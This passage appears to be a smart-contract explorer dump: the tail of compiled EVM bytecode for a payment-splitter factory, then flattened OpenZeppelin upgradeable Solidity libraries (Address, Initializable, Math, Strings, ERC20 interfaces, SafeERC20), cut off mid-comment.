0919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600067ffffffffffffffff82169050919050565b600060ff82169050919050565b6000613f4a82613f75565b9050919050565b6000613f5c82613f32565b9050919050565b6000613f6e82613f32565b9050919050565b6000613f8082613f87565b9050919050565b6000613f9282613ef4565b9050919050565b60005b83811015613fb7578082015181840152602081019050613f9c565b83811115613fc6576000848401525b50505050565b6000613fd782613f14565b91506000821415613feb57613fea6140a1565b5b600182039050919050565b613fff8261412e565b810181811067ffffffffffffffff8211171561401e5761401d6140ff565b5b80604052505050565b600061403282613f14565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415614065576140646140a1565b5b600182019050919050565b600061407b82613f14565b915061408683613f14565b925082614096576140956140d0565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b7f0a496e6465780941646472657373206f662056616c696461746f72090909095360008201527f68617265730a0000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f5265616c6c6f63617461626c655061796d656e7453706c69747465724661637460008201527f6f72795570677261646561626c653a20636f6d62696e6174696f6e206f66207660208201527f616c696461746f7220616e642076657273696f6e20646f6573206e6f7420657860408201527f69737420666f7220706179656500000000000000000000000000000000000000606082015250565b7f455243313136373a20637265617465206661696c656400000000000000000000600082015250565b7f2e00000000000000000000000000000000000000000000000000000000000000600082015250565b7f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160008201527f647920696e697469616c697a6564000000000000000000000000000000000000602082015250565b7f5265616c6c6f63617461626c655061796d656e7453706c69747465724661637460008201527f6f72795570677261646561626c653a206c656e677468206f662070617965657360208201527f206172726179206e6f7420657175616c20746f2066697273742064696d656e7360408201527f696f6e206f662076616c696461746f7273206172726179000000000000000000606082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5265616c6c6f63617461626c655061796d656e7453706c69747465724661637460008201527f6f72795570677261646561626c653a206f6e6520636f6d62696e6174696f6e2060208201527f6f662076616c696461746f7220616e642076657273696f6e20616c726561647960408201527f2065786973747320666f72207061796565000000000000000000000000000000606082015250565b7f5265616c6c6f63617461626c655061796d656e7453706c69747465724661637460008201527f6f72795570677261646561626c653a20636f6d62696e6174696f6e206f66207660208201527f616c696461746f7220616e642076657273696f6e20616c72656164792065786960408201527f73747320666f72206f6e65207061796565000000000000000000000000000000606082015250565b7f0a496e6465780941646472657373206f6620506179656509090909536861726560008201527f730a000000000000000000000000000000000000000000000000000000000000602082015250565b7f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960008201527f6e697469616c697a696e67000000000000000000000000000000000000000000602082015250565b6145e381613eb6565b81146145ee57600080fd5b50565b6145fa81613ec8565b811461460557600080fd5b50565b61461181613eda565b811461461c57600080fd5b50565b61462881613ee6565b811461463357600080fd5b50565b61463f81613f14565b811461464a57600080fd5b50565b61465681613f1e565b811461466157600080fd5b50565b61466d81613f32565b811461467857600080fd5b5056fea264697066735822122096b6226675e3ddc12822f99f5f28f246a21f86bd0688d12f1340f3a34a66559764736f6c63430008040033
// SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.9.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * * Furthermore, `isContract` will also return true if the target contract within * the same transaction is already scheduled for destruction by `SELFDESTRUCT`, * which only has an effect at the end of a transaction. * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://consensys.net/diligence/blog/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.8.0/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResultFromTarget(target, success, returndata, errorMessage); } /** * @dev Tool to verify that a low level call to smart-contract was successful, and revert (either by bubbling * the revert reason or using the provided one) in case of unsuccessful call or if target was not a contract. * * _Available since v4.8._ */ function verifyCallResultFromTarget( address target, bool success, bytes memory returndata, string memory errorMessage ) internal view returns (bytes memory) { if (success) { if (returndata.length == 0) { // only check isContract if the call was successful and the return data is empty // otherwise we already know that it was a contract require(isContract(target), "Address: call to non-contract"); } return returndata; } else { _revert(returndata, errorMessage); } } /** * @dev Tool to verify that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason or using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { _revert(returndata, errorMessage); } } function _revert(bytes memory returndata, string memory errorMessage) private pure { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly /// @solidity memory-safe-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } // OpenZeppelin Contracts (last updated v4.9.0) (proxy/utils/Initializable.sol) /** * @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed * behind a proxy. Since proxied contracts do not make use of a constructor, it's common to move constructor logic to an * external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer * function so it can only be called once. The {initializer} modifier provided by this contract will have this effect. * * The initialization functions use a version number. Once a version number is used, it is consumed and cannot be * reused. This mechanism prevents re-execution of each "step" but allows the creation of new initialization steps in * case an upgrade adds a module that needs to be initialized. * * For example: * * [.hljs-theme-light.nopadding] * ```solidity * contract MyToken is ERC20Upgradeable { * function initialize() initializer public { * __ERC20_init("MyToken", "MTK"); * } * } * * contract MyTokenV2 is MyToken, ERC20PermitUpgradeable { * function initializeV2() reinitializer(2) public { * __ERC20Permit_init("MyToken"); * } * } * ``` * * TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as * possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}. * * CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure * that all initializers are idempotent. This is not verified automatically as constructors are by Solidity. * * [CAUTION] * ==== * Avoid leaving a contract uninitialized. * * An uninitialized contract can be taken over by an attacker. This applies to both a proxy and its implementation * contract, which may impact the proxy. To prevent the implementation contract from being used, you should invoke * the {_disableInitializers} function in the constructor to automatically lock it when it is deployed: * * [.hljs-theme-light.nopadding] * ``` * /// @custom:oz-upgrades-unsafe-allow constructor * constructor() { * _disableInitializers(); * } * ``` * ==== */ abstract contract Initializable { /** * @dev Indicates that the contract has been initialized. * @custom:oz-retyped-from bool */ uint8 private _initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private _initializing; /** * @dev Triggered when the contract has been initialized or reinitialized. */ event Initialized(uint8 version); /** * @dev A modifier that defines a protected initializer function that can be invoked at most once. In its scope, * `onlyInitializing` functions can be used to initialize parent contracts. * * Similar to `reinitializer(1)`, except that functions marked with `initializer` can be nested in the context of a * constructor. * * Emits an {Initialized} event. */ modifier initializer() { bool isTopLevelCall = !_initializing; require( (isTopLevelCall && _initialized < 1) || (!AddressUpgradeable.isContract(address(this)) && _initialized == 1), "Initializable: contract is already initialized" ); _initialized = 1; if (isTopLevelCall) { _initializing = true; } _; if (isTopLevelCall) { _initializing = false; emit Initialized(1); } } /** * @dev A modifier that defines a protected reinitializer function that can be invoked at most once, and only if the * contract hasn't been initialized to a greater version before. In its scope, `onlyInitializing` functions can be * used to initialize parent contracts. * * A reinitializer may be used after the original initialization step. This is essential to configure modules that * are added through upgrades and that require initialization. * * When `version` is 1, this modifier is similar to `initializer`, except that functions marked with `reinitializer` * cannot be nested. If one is invoked in the context of another, execution will revert. * * Note that versions can jump in increments greater than 1; this implies that if multiple reinitializers coexist in * a contract, executing them in the right order is up to the developer or operator. * * WARNING: setting the version to 255 will prevent any future reinitialization. * * Emits an {Initialized} event. */ modifier reinitializer(uint8 version) { require(!_initializing && _initialized < version, "Initializable: contract is already initialized"); _initialized = version; _initializing = true; _; _initializing = false; emit Initialized(version); } /** * @dev Modifier to protect an initialization function so that it can only be invoked by functions with the * {initializer} and {reinitializer} modifiers, directly or indirectly. */ modifier onlyInitializing() { require(_initializing, "Initializable: contract is not initializing"); _; } /** * @dev Locks the contract, preventing any future reinitialization. This cannot be part of an initializer call. * Calling this in the constructor of a contract will prevent that contract from being initialized or reinitialized * to any version. It is recommended to use this to lock implementation contracts that are designed to be called * through proxies. * * Emits an {Initialized} event the first time it is successfully executed. */ function _disableInitializers() internal virtual { require(!_initializing, "Initializable: contract is initializing"); if (_initialized != type(uint8).max) { _initialized = type(uint8).max; emit Initialized(type(uint8).max); } } /** * @dev Returns the highest version that has been initialized. See {reinitializer}. */ function _getInitializedVersion() internal view returns (uint8) { return _initialized; } /** * @dev Returns `true` if the contract is currently initializing. See {onlyInitializing}. */ function _isInitializing() internal view returns (bool) { return _initializing; } } // OpenZeppelin Contracts (last updated v4.9.0) (utils/Strings.sol) // OpenZeppelin Contracts (last updated v4.9.0) (utils/math/Math.sol) /** * @dev Standard math utilities missing in the Solidity language. */ library MathUpgradeable { enum Rounding { Down, // Toward negative infinity Up, // Toward infinity Zero // Toward zero } /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a > b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow. return (a & b) + (a ^ b) / 2; } /** * @dev Returns the ceiling of the division of two numbers. * * This differs from standard division with `/` in that it rounds up instead * of rounding down. */ function ceilDiv(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b - 1) / b can overflow on addition, so we distribute. return a == 0 ? 0 : (a - 1) / b + 1; } /** * @notice Calculates floor(x * y / denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 * @dev Original credit to Remco Bloemen under MIT license (https://xn--2-umb.com/21/muldiv) * with further edits by Uniswap Labs also under MIT license. */ function mulDiv(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 result) { unchecked { // 512-bit multiply [prod1 prod0] = x * y. Compute the product mod 2^256 and mod 2^256 - 1, then use // use the Chinese Remainder Theorem to reconstruct the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2^256 + prod0. uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(x, y, not(0)) prod0 := mul(x, y) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division. if (prod1 == 0) { // Solidity will revert if denominator == 0, unlike the div opcode on its own. // The surrounding unchecked block does not change this fact. // See https://docs.soliditylang.org/en/latest/control-structures.html#checked-or-unchecked-arithmetic. return prod0 / denominator; } // Make sure the result is less than 2^256. Also prevents denominator == 0. require(denominator > prod1, "Math: mulDiv overflow"); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0]. uint256 remainder; assembly { // Compute remainder using mulmod. remainder := mulmod(x, y, denominator) // Subtract 256 bit number from 512 bit number. prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator and compute largest power of two divisor of denominator. Always >= 1. // See https://cs.stackexchange.com/q/138556/92363. // Does not overflow because the denominator cannot be zero at this stage in the function. uint256 twos = denominator & (~denominator + 1); assembly { // Divide denominator by twos. denominator := div(denominator, twos) // Divide [prod1 prod0] by twos. prod0 := div(prod0, twos) // Flip twos such that it is 2^256 / twos. If twos is zero, then it becomes one. twos := add(div(sub(0, twos), twos), 1) } // Shift in bits from prod1 into prod0. prod0 |= prod1 * twos; // Invert denominator mod 2^256. Now that denominator is an odd number, it has an inverse modulo 2^256 such // that denominator * inv = 1 mod 2^256. Compute the inverse by starting with a seed that is correct for // four bits. That is, denominator * inv = 1 mod 2^4. uint256 inverse = (3 * denominator) ^ 2; // Use the Newton-Raphson iteration to improve the precision. Thanks to Hensel's lifting lemma, this also works // in modular arithmetic, doubling the correct bits in each step. inverse *= 2 - denominator * inverse; // inverse mod 2^8 inverse *= 2 - denominator * inverse; // inverse mod 2^16 inverse *= 2 - denominator * inverse; // inverse mod 2^32 inverse *= 2 - denominator * inverse; // inverse mod 2^64 inverse *= 2 - denominator * inverse; // inverse mod 2^128 inverse *= 2 - denominator * inverse; // inverse mod 2^256 // Because the division is now exact we can divide by multiplying with the modular inverse of denominator. // This will give us the correct result modulo 2^256. Since the preconditions guarantee that the outcome is // less than 2^256, this is the final result. We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inverse; return result; } } /** * @notice Calculates x * y / denominator with full precision, following the selected rounding direction. */ function mulDiv(uint256 x, uint256 y, uint256 denominator, Rounding rounding) internal pure returns (uint256) { uint256 result = mulDiv(x, y, denominator); if (rounding == Rounding.Up && mulmod(x, y, denominator) > 0) { result += 1; } return result; } /** * @dev Returns the square root of a number. If the number is not a perfect square, the value is rounded down. * * Inspired by Henry S. Warren, Jr.'s "Hacker's Delight" (Chapter 11). */ function sqrt(uint256 a) internal pure returns (uint256) { if (a == 0) { return 0; } // For our first guess, we get the biggest power of 2 which is smaller than the square root of the target. // // We know that the "msb" (most significant bit) of our target number `a` is a power of 2 such that we have // `msb(a) <= a < 2*msb(a)`. This value can be written `msb(a)=2**k` with `k=log2(a)`. // // This can be rewritten `2**log2(a) <= a < 2**(log2(a) + 1)` // → `sqrt(2**k) <= sqrt(a) < sqrt(2**(k+1))` // → `2**(k/2) <= sqrt(a) < 2**((k+1)/2) <= 2**(k/2 + 1)` // // Consequently, `2**(log2(a) / 2)` is a good first approximation of `sqrt(a)` with at least 1 correct bit. uint256 result = 1 << (log2(a) >> 1); // At this point `result` is an estimation with one bit of precision. We know the true value is a uint128, // since it is the square root of a uint256. Newton's method converges quadratically (precision doubles at // every iteration). We thus need at most 7 iteration to turn our partial result with one bit of precision // into the expected uint128 result. unchecked { result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; result = (result + a / result) >> 1; return min(result, a / result); } } /** * @notice Calculates sqrt(a), following the selected rounding direction. */ function sqrt(uint256 a, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = sqrt(a); return result + (rounding == Rounding.Up && result * result < a ? 1 : 0); } } /** * @dev Return the log in base 2, rounded down, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 128; } if (value >> 64 > 0) { value >>= 64; result += 64; } if (value >> 32 > 0) { value >>= 32; result += 32; } if (value >> 16 > 0) { value >>= 16; result += 16; } if (value >> 8 > 0) { value >>= 8; result += 8; } if (value >> 4 > 0) { value >>= 4; result += 4; } if (value >> 2 > 0) { value >>= 2; result += 2; } if (value >> 1 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 2, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log2(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log2(value); return result + (rounding == Rounding.Up && 1 << result < value ? 1 : 0); } } /** * @dev Return the log in base 10, rounded down, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >= 10 ** 64) { value /= 10 ** 64; result += 64; } if (value >= 10 ** 32) { value /= 10 ** 32; result += 32; } if (value >= 10 ** 16) { value /= 10 ** 16; result += 16; } if (value >= 10 ** 8) { value /= 10 ** 8; result += 8; } if (value >= 10 ** 4) { value /= 10 ** 4; result += 4; } if (value >= 10 ** 2) { value /= 10 ** 2; result += 2; } if (value >= 10 ** 1) { result += 1; } } return result; } /** * @dev Return the log in base 10, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log10(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log10(value); return result + (rounding == Rounding.Up && 10 ** result < value ? 1 : 0); } } /** * @dev Return the log in base 256, rounded down, of a positive value. * Returns 0 if given 0. * * Adding one to the result gives the number of pairs of hex symbols needed to represent `value` as a hex string. */ function log256(uint256 value) internal pure returns (uint256) { uint256 result = 0; unchecked { if (value >> 128 > 0) { value >>= 128; result += 16; } if (value >> 64 > 0) { value >>= 64; result += 8; } if (value >> 32 > 0) { value >>= 32; result += 4; } if (value >> 16 > 0) { value >>= 16; result += 2; } if (value >> 8 > 0) { result += 1; } } return result; } /** * @dev Return the log in base 256, following the selected rounding direction, of a positive value. * Returns 0 if given 0. */ function log256(uint256 value, Rounding rounding) internal pure returns (uint256) { unchecked { uint256 result = log256(value); return result + (rounding == Rounding.Up && 1 << (result << 3) < value ? 1 : 0); } } } // OpenZeppelin Contracts (last updated v4.8.0) (utils/math/SignedMath.sol) /** * @dev Standard signed math utilities missing in the Solidity language. */ library SignedMathUpgradeable { /** * @dev Returns the largest of two signed numbers. */ function max(int256 a, int256 b) internal pure returns (int256) { return a > b ? a : b; } /** * @dev Returns the smallest of two signed numbers. */ function min(int256 a, int256 b) internal pure returns (int256) { return a < b ? a : b; } /** * @dev Returns the average of two signed numbers without overflow. * The result is rounded towards zero. */ function average(int256 a, int256 b) internal pure returns (int256) { // Formula from the book "Hacker's Delight" int256 x = (a & b) + ((a ^ b) >> 1); return x + (int256(uint256(x) >> 255) & (a ^ b)); } /** * @dev Returns the absolute unsigned value of a signed value. */ function abs(int256 n) internal pure returns (uint256) { unchecked { // must be unchecked in order to support `n = type(int256).min` return uint256(n >= 0 ? n : -n); } } } /** * @dev String operations. */ library StringsUpgradeable { bytes16 private constant _SYMBOLS = "0123456789abcdef"; uint8 private constant _ADDRESS_LENGTH = 20; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { unchecked { uint256 length = MathUpgradeable.log10(value) + 1; string memory buffer = new string(length); uint256 ptr; /// @solidity memory-safe-assembly assembly { ptr := add(buffer, add(32, length)) } while (true) { ptr--; /// @solidity memory-safe-assembly assembly { mstore8(ptr, byte(mod(value, 10), _SYMBOLS)) } value /= 10; if (value == 0) break; } return buffer; } } /** * @dev Converts a `int256` to its ASCII `string` decimal representation. */ function toString(int256 value) internal pure returns (string memory) { return string(abi.encodePacked(value < 0 ? "-" : "", toString(SignedMathUpgradeable.abs(value)))); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { unchecked { return toHexString(value, MathUpgradeable.log256(value) + 1); } } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } /** * @dev Converts an `address` with fixed length of 20 bytes to its not checksummed ASCII `string` hexadecimal representation. */ function toHexString(address addr) internal pure returns (string memory) { return toHexString(uint256(uint160(addr)), _ADDRESS_LENGTH); } /** * @dev Returns true if the two strings are equal. */ function equal(string memory a, string memory b) internal pure returns (bool) { return keccak256(bytes(a)) == keccak256(bytes(b)); } } // OpenZeppelin Contracts (last updated v4.8.0) (finance/PaymentSplitter.sol) // OpenZeppelin Contracts (last updated v4.8.0) (finance/PaymentSplitter.sol) // OpenZeppelin Contracts (last updated v4.9.3) (token/ERC20/utils/SafeERC20.sol) // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/IERC20.sol) /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20Upgradeable { /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `to`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address to, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `from` to `to` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 amount) external returns (bool); } // OpenZeppelin Contracts (last updated v4.9.0) (token/ERC20/extensions/IERC20Permit.sol) /** * @dev Interface of the ERC20 Permit extension allowing approvals to be made via signatures, as defined in * https://eips.ethereum.org/EIPS/eip-2612[EIP-2612]. * * Adds the {permit} method, which can be used to change an account's ERC20 allowance (see {IERC20-allowance}) by * presenting a message signed by the account. By not relying on {IERC20-approve}, the token holder account doesn't * need to send a transaction, and thus is not required to hold Ether at all. */ interface IERC20PermitUpgradeable { /** * @dev Sets `value` as the allowance of `spender` over ``owner``'s tokens, * given ``owner``'s signed approval. * * IMPORTANT: The same issues {IERC20-approve} has related to transaction * ordering also apply here. * * Emits an {Approval} event. * * Requirements: * * - `spender` cannot be the zero address. * - `deadline` must be a timestamp in the future. * - `v`, `r` and `s` must be a valid `secp256k1` signature from `owner` * over the EIP712-formatted function arguments. * - the signature must use ``owner``'s current nonce (see {nonces}). * * For more information on the signature format, see the * https://eips.ethereum.org/EIPS/eip-2612#specification[relevant EIP * section]. */ function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; /** * @dev Returns the current nonce for `owner`. This value must be * included whenever a signature is generated for {permit}. * * Every successful call to {permit} increases ``owner``'s nonce by one. This * prevents a signature from being used multiple times. */ function nonces(address owner) external view returns (uint256); /** * @dev Returns the domain separator used in the encoding of the signature for {permit}, as defined by {EIP712}. */ // solhint-disable-next-line func-name-mixedcase function DOMAIN_SEPARATOR() external view returns (bytes32); } /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20Upgradeable { using AddressUpgradeable for address; /** * @dev Transfer `value` amount of `token` from the calling contract to `to`. If `token` returns no value, * non-reverting calls are assumed to be successful. */ function safeTransfer(IERC20Upgradeable token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } /** * @dev Transfer `value` amount of `token` from `from` to `to`, spending the approval given by `from` to the * calling contract. If `token` returns no value, non-reverting calls are assumed to be successful. */ function safeTransferFrom(IERC20Upgradeable token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20Upgradeable token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } /** * @dev Increase the calling contract's allowance toward `spender` by `value`. If `token` returns no value, * non-reverting calls are assumed to be successful. */ function safeIncreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { uint256 oldAllowance = token.allowance(address(this), spender); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance + value)); } /** * @dev Decrease the calling contract's allowance toward `spender` by `value`. If `token` returns no value, * non-reverting calls are assumed to be successful. */ function safeDecreaseAllowance(IERC20Upgradeable token, address spender, uint256 value) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, oldAllowance - value)); } } /** * @dev Set the calling contract's allowance toward `spender` to `value`. If `token` returns no value, * non-reverting calls are assumed to be successful. Meant to be used with tokens that require the approval * to be set to zero before setting it to a non-zero value, such as USDT. */ function forceApprove(IERC20Upgradeable token, address spender, uint256 value) internal { bytes memory approvalCall = abi.encodeWithSelector(token.approve.selector, spender, value); if (!_callOptionalReturnBool(token, approvalCall)) { _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, 0)); _callOptionalReturn(token, approvalCall); } } /** * @dev Use a ERC-2612 signature to set the `owner` approval toward `spender` on 